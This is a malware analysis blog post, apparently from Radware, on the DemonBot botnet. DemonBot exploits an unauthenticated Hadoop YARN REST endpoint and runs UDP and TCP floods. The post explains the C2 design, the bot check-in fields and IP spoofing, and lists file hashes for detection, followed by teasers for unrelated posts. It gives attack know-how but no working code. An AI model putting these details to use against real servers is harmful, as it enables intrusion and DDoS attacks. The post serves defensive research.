DemonBot spreads only via central servers and does not expose worm-like behavior exhibited by Mirai based bots. As of today, Radware is tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 Million exploits per day. Note that though we did not find any evidence that DemonBot is actively targeting IoT devices at this time, Demonbot is not limited to x86 Hadoop servers and is binary compatible with most known IoT devices, following the Mirai build principles.

It is not the first time that cloud infrastructure servers have been targeted. Earlier this month Security Researcher Ankit Anubhav discovered a hacker leveraging the same Hadoop Yarn bug in a Sora botnet variant. Hadoop clusters typically are very capable and stable platforms and can individually account for much larger volumes of DDoS traffic compared to IoT devices. The DDoS attack vectors supported by DemonBot are UDP and TCP floods.

Hadoop YARN Exploits

Radware Research has been tracking malicious actors exploiting a Hadoop YARN unauthenticated remote command execution for which proof of concept code was first published here in March of this year. YARN, Yet Another Resource Negotiator, is a prerequisite for Enterprise Hadoop and provides cluster resource management allowing multiple data processing engines to handle data stored in a single platform. YARN exposes a REST API which allows remote applications to submit new applications to the cluster. The exploit requires two steps:

Our deception network recorded repeated attempts for /ws/v1/cluster/apps/new-application, slowly starting end of September and growing to over 1 million attempts per day for most of October.

The number of unique IPs from where the requests originated grew from a few servers to over 70 servers this week.

Older exploits from servers that are offline by now were referencing a well-known Mirai variant Owari, infamous because of the weak password used by the hackers for securing their command and control database:

Recently, however, we found Owari to be replaced by a new bot:

This new ‘bash’ binary was added to the server on Sunday Oct 21st. The same server also hosts the typical shell script we came to expect from multiplatform IoT malwares:

While the botnet comes with all the typical indicators of Yet-Another-Mirai-Botnet, a closer look at the binaries revealed to be different enough to continue the investigation.

DemonBot v1 – © Self-Rep-NeTiS

The reversing of the unstripped ‘bash’ binary revealed some unfamiliar function names and an atypical string which provided a unique fingerprint for the botnet code:

Searching through pastebin archives soon revealed a unique match on a document that was pasted on Sept 29th by an actor going by the alias of Self-Rep-NeTiS. The paste contained the full source code for a botnet which the actor dubbed ‘DemonBot’. Further searches through the archives revealed the source code for the Command and Control server DemonCNC and the Python Build script for the multi-platform bots.

Both DemonBot.c and DemonCNC.c had an identical signature:

DemonCNC

The DemonBot Command and Control service is a self-contained C program that is supposed to run on a central command and control server and it provides two services:

  • A bot command and control listener service – allowing bots to register and listen for new commands form the C2
  • A remote access CLI allowing botnet admins and potential ‘customers’ to control the activity of the botnet

Starting the C2 service requires 3 arguments: a bot listener port, the number of threads and a port for the remote access CLI.

Credentials for remote users are stored in a plain text file ‘login.txt’ in the format “username password” using one line per credential pair.

Upon connecting to the remote access CLI (port 8025 in our demo setup) using telnet, the botnet greets us and asks for a username followed by a password prompt. If the provided credentials match one of the lines in the login.txt file, the user is given access to the bot control interface.

The HELP command reveals the botnet commands which will be discussed below in the section about DemonBot itself.

DemonBot

DemonBot is the program that is supposed to be running on infected servers and will connect into the command and control server and listens for new commands.

When a new DemonBot is started, it connects to the C2 server which is hardcoded with IP and port. If no port was specified for the C2 server the default port 6982 is used. The C2 connection is plain text TCP.

Once successfully connected, DemonBot sends information about the infected device to the C2 server in the format:

Bot_ip

The public IP address of the device or server infected with DemonBot:

Port

Either 22 or 23 depending on the availability of python or perl and telnetd on the device/server:

Build

“Python Device”, “Perl Device”, “Telnet Device” or “Unknown” depending on the availability of a Python or Perl interpreter on the device server:

Arch

The architecture, determined at build time and depending on the executing binary on the compromised platform – supported values for Arch are: x86_64 | x86_32 | Arm4 | Arm5 | Arm6 | Arm7 | Mips | Mipsel | Sh4 (SuperH) | Ppc (PowerPC) | spc (Sparc) | M68k | Arc

OS

Limited identification of the host OS running the bot based on package installer configuration files. Value is either “Debian Based Device”, “REHL Based Device” or “Unknown OS”

Malicious payloads

The bot supports the following commands:

If multiple IPs are passed in the argument in a comma-separated list, an individual attack process is forked for each IP.

The <spoofit> argument works as a netmask. If spoofit is set to 32, there is no spoofing of the bot’s source IP. If spoofit is set to a number less than 32, a random IP is generated within the bot_ip/<spoofit> network every <pollinterval> packets:

Fixed payload used by the STD UDP attack:

IOC

8805830c7d28707123f96cf458c1aa41  wget
1bd637c0444328563c995d6497e2d5be  tftp
a89f377fcb66b88166987ae1ab82ca61  sshd
8b0b5a6ee30def363712e32b0878a7cb  sh
86741291adc03a7d6ff3413617db73f5  pftp
3e6d58bd8f10a6320185743d6d010c4f  openssh
fc4a4608009cc24a757824ff56fd8b91  ntpd
d80d081c40be94937a164c791b660b1f  ftp
b878de32a9142c19f1fface9a8d588fb  cron
46a255e78d6bd3e97456b98aa4ea0228  bash
53f6451a939f9f744ab689168cc1e21a  apache2
41edaeb0b52c5c7c835c4196d5fd7123  [cpu]

 

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Attack Types & VectorsSecurity

Can SNMP (Still) Be Used to Detect DDoS Attacks?

August 9, 2018 — by Pascal Geenens8

snmp-burst-attacks-ddos-960x576.jpg

SNMP is an Internet Standard protocol for collecting information about managed devices on IP networks. SNMP became a vital component in many networks for monitoring the health and resource utilization of devices and connections. For a long time, SNMP was the tool to monitor bandwidth and interface utilization. In this capacity, it is used to detect line saturation events caused by volumetric DDoS attacks on an organization’s internet connection. SNMP is adequate as a sensor for threshold-based volumetric attack detection and allows automated redirection of internet traffic through cloud scrubbing centers when under attack. By automating the process of detection, mitigation time can considerably be reduced and volumetric attacks mitigated through on-demand cloud DDoS services. SNMP provides minimal impact on the device’s configuration and works with pretty much any network device and vendor. As such, it is very convenient and gained popularity for deployments of automatic diversion.

Security

AI Considerations in Cyber Defence Automation

December 14, 2017 — by Pascal Geenens2

ai-automation-960x598.jpg

When Apple unveiled the iPhone X, it catapulted artificial intelligence and machine learning into the limelight. Facial recognition became a mainstream reality for those who can afford it. A few months later, Vietnamese cyber security firm Bkav claimed it was able to bypass the iPhone X’s Face ID using a relatively inexpensive $150 mask. The claim is still up in the air and while it has not been accepted to its full extent, no one was actually able to refute the claim based on scientific facts.